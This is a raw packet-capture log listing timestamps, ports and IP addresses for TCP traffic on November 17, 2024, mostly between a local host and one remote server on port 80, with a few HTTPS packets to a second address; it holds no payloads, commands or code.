Nov 17, 2024 10:07:42.432948112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432955980 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432962894 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432971001 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432981014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432987928 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432996988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433001995 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433023930 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433032990 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433146000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433160067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433171988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433186054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433197975 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433201075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433218956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433229923 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433233976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433253050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433259010 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433269978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433283091 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433288097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433303118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433314085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433335066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433356047 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433453083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433469057 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433482885 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433496952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433500051 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433510065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433511972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433528900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433532000 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433547974 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433557034 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433568001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433583021 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433583021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433593988 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433598042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433614016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433614969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433624983 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433630943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433645010 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433656931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433661938 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433674097 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433692932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433720112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433736086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433751106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433758974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433768034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433783054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433789015 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433789015 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433800936 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433801889 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433819056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433823109 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433841944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433864117 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433897972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433914900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433929920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433938980 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433947086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433960915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433964014 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433975935 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.433975935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.433995962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434000015 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434015036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434015989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434031963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434040070 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434060097 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434061050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434073925 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434081078 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434103966 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434104919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434120893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434127092 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434137106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434138060 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434154987 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434160948 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434170961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434171915 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434186935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434195042 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434204102 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434206963 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434225082 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434227943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434247017 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434247971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434263945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434283972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434288025 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434299946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434317112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434319973 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434336901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434346914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434355021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434371948 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434386015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434396029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434411049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434427023 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434427977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434442043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434449911 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434458971 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434463024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434478998 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434480906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434505939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434505939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434520960 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434530020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434534073 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434545040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434561014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434566975 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434577942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434592962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434595108 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434607983 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434607983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434623957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434636116 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434637070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434655905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434664965 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434675932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434675932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434695005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434705019 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434711933 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434719086 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434727907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434739113 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434748888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434752941 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434775114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434775114 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434787035 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434792042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434808969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434824944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434828997 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434839964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434855938 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434859991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434875965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434881926 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434891939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434906960 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434906960 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434922934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434931993 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434937954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434952974 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434956074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434967995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.434981108 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.434982061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435002089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435007095 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435026884 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435031891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435043097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435055971 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435056925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435069084 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435072899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435089111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435090065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435101986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435103893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435125113 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435125113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435146093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435158014 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435168028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435170889 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435189962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435195923 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435200930 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435213089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435235023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435235977 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435244083 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435252905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435266972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435276031 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435282946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435286999 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435298920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435307980 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435323000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435327053 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435336113 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435339928 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435359955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435359955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435379028 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435384989 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435395956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435400963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435416937 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435427904 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435431957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435442924 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435446978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435461044 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435462952 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435472965 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435477972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435489893 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435502052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435509920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435518980 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435523987 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435551882 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435553074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435564041 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435578108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435594082 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435612917 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435616970 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435630083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435642958 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435643911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435668945 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435691118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435708046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435729980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435745001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435760021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435767889 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435774088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435795069 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435805082 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435813904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435828924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435844898 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435852051 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435859919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435874939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435877085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435889006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435890913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435906887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435910940 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435923100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435934067 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435937881 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435952902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435960054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435967922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435981989 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.435988903 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.435997009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436000109 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.436014891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436029911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436029911 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.436043978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436048985 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.436059952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436075926 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436079025 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.436088085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.436090946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436106920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436122894 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436125040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.436139107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436151981 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.436155081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436161995 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.436171055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436184883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436192989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.436198950 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.436227083 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.436239958 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.478565931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.478610992 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.478648901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.478683949 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.478693962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.478720903 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.478748083 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.478753090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.478770971 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.478786945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.478800058 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.478822947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.478832006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.478868961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.479458094 CET	443	49983	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:42.483880043 CET	49983	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:42.483912945 CET	443	49983	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:42.485419989 CET	443	49983	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:42.485516071 CET	49983	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:42.487963915 CET	49983	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:42.488069057 CET	443	49983	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:42.488142014 CET	49983	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:42.488204002 CET	49983	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:42.488218069 CET	443	49983	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:42.546488047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.546550989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.546598911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.546616077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.546641111 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.546642065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.546664953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.546665907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.546683073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.546694040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.546708107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.546710014 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.546724081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.546730042 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.546741009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.546749115 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.546756983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.546766043 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.546772957 CET	80	49892	185.215.113.206	192.168.2.6
